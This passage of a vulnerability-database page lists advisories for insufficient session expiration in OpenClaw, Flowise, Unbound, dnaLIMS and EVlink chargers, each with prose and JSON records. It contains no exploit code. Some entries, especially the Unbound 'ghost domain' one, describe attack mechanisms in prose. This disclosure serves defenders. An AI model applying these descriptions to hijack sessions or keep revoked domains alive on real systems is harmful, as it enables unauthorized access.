  "details": "The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable\u00a0a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests.",
  "id": "GHSA-26xr-j83g-4fmm",
  "modified": "2026-05-05T21:31:15Z",
  "published": "2026-03-06T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-062-06.json"
    },
    {
      "type": "WEB",
      "url": "https://mobiliti.hu/emobilitas/ugyfeltamogatas/ugyfelszolgalat"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-275C-XPVC-JGFW

Vulnerability from github – Published: 2026-07-02 17:11 – Updated: 2026-08-24 21:06
VLAI
Summary
OpenClaw: Slack and Zalo webhook secrets could remain active after secrets.reload
Details

Summary

Slack and Zalo webhook secrets could remain active after secrets.reload. In affected versions, a caller with an old webhook secret during the stale-secret window could keep accepting the previous secret after secrets.reload.

This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.

Impact

When the affected feature is enabled and reachable, this could deliver webhook events briefly after the operator expected revocation. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Patched Versions

The first stable patched version is 2026.4.22.

Mitigations

restart the affected channel runtime after rotating webhook secrets until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.4.21"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T17:11:03Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nSlack and Zalo webhook secrets could remain active after secrets.reload. In affected versions, a caller with an old webhook secret during the stale-secret window could keep accepting the previous secret after `secrets.reload`.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could deliver webhook events briefly after the operator expected revocation. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.4.22`.\n\n### Mitigations\n\nrestart the affected channel runtime after rotating webhook secrets until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-275c-xpvc-jgfw",
  "modified": "2026-08-24T21:06:11Z",
  "published": "2026-07-02T17:11:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-275c-xpvc-jgfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53830"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-webhook-secret-revocation-bypass-via-secrets-reload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Slack and Zalo webhook secrets could remain active after secrets.reload"
}

GHSA-289X-5MJ7-XHG5

Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32
VLAI
Details

Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-71335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.",
  "id": "GHSA-289x-5mj7-xhg5",
  "modified": "2026-06-26T00:32:05Z",
  "published": "2026-06-26T00:32:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x7rp-qj2h-ghgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71335"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-session-invalidation-failure-after-password-change"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-297V-QP46-84H5

Vulnerability from github – Published: 2022-08-02 00:00 – Updated: 2022-08-09 00:00
VLAI
Details

NLnet Labs Unbound, up to and including version 1.16.1 is vulnerable to a novel type of the "ghost domain names" attack. The vulnerability works by targeting an Unbound instance. Unbound is queried for a subdomain of a rogue domain name. The rogue nameserver returns delegation information for the subdomain that updates Unbound's delegation cache. This action can be repeated before expiry of the delegation information by querying Unbound for a second level subdomain which the rogue nameserver provides new delegation information. Since Unbound is a child-centric resolver, the ever-updating child delegation information can keep a rogue domain name resolvable long after revocation. From version 1.16.2 on, Unbound checks the validity of parent delegation records before using cached delegation information.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-01T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "NLnet Labs Unbound, up to and including version 1.16.1 is vulnerable to a novel type of the \"ghost domain names\" attack. The vulnerability works by targeting an Unbound instance. Unbound is queried for a subdomain of a rogue domain name. The rogue nameserver returns delegation information for the subdomain that updates Unbound\u0027s delegation cache. This action can be repeated before expiry of the delegation information by querying Unbound for a second level subdomain which the rogue nameserver provides new delegation information. Since Unbound is a child-centric resolver, the ever-updating child delegation information can keep a rogue domain name resolvable long after revocation. From version 1.16.2 on, Unbound checks the validity of parent delegation records before using cached delegation information.",
  "id": "GHSA-297v-qp46-84h5",
  "modified": "2022-08-09T00:00:27Z",
  "published": "2022-08-02T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30698"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5L3ZFWZZFPBIL654BG75RWXUMPFQJ5EC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/D35CX4SCZVNKZTWJXPDFTHWZHINMGEZD"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202212-02"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2022-30698_CVE-2022-30699.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-29FP-GVQM-7XX9

Vulnerability from github – Published: 2022-05-17 02:12 – Updated: 2025-04-20 03:33
VLAI
Details

An issue was discovered in dnaTools dnaLIMS 4-2015s13. dnaLIMS is vulnerable to session hijacking by guessing the UID parameter.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-09T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in dnaTools dnaLIMS 4-2015s13. dnaLIMS is vulnerable to session hijacking by guessing the UID parameter.",
  "id": "GHSA-29fp-gvqm-7xx9",
  "modified": "2025-04-20T03:33:56Z",
  "published": "2022-05-17T02:12:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6529"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/41578"
    },
    {
      "type": "WEB",
      "url": "https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96823"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2C5P-55QJ-5P58

Vulnerability from github – Published: 2022-01-29 00:00 – Updated: 2022-02-04 00:00
VLAI
Details

A CWE-614 Insufficient Session Expiration vulnerability exists that could allow an attacker to maintain an unauthorized access over a hijacked session to the charger station web server even after the legitimate user account holder has changed his password. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-28T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A CWE-614 Insufficient Session Expiration vulnerability exists that could allow an attacker to maintain an unauthorized access over a hijacked session to the charger station web server even after the legitimate user account holder has changed his password. Affected Products: EVlink City EVC1S22P4 / EVC1S7P4 (All versions prior to R8 V3.4.0.2 ), EVlink Parking EVW2 / EVF2 / EVP2PE (All versions prior to R8 V3.4.0.2), and EVlink Smart Wallbox EVB1A (All versions prior to R8 V3.4.0.2)",
  "id": "GHSA-2c5p-55qj-5p58",
  "modified": "2022-02-04T00:00:44Z",
  "published": "2022-01-29T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22820"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-348-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Implementation

Set sessions/credentials expiration date.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list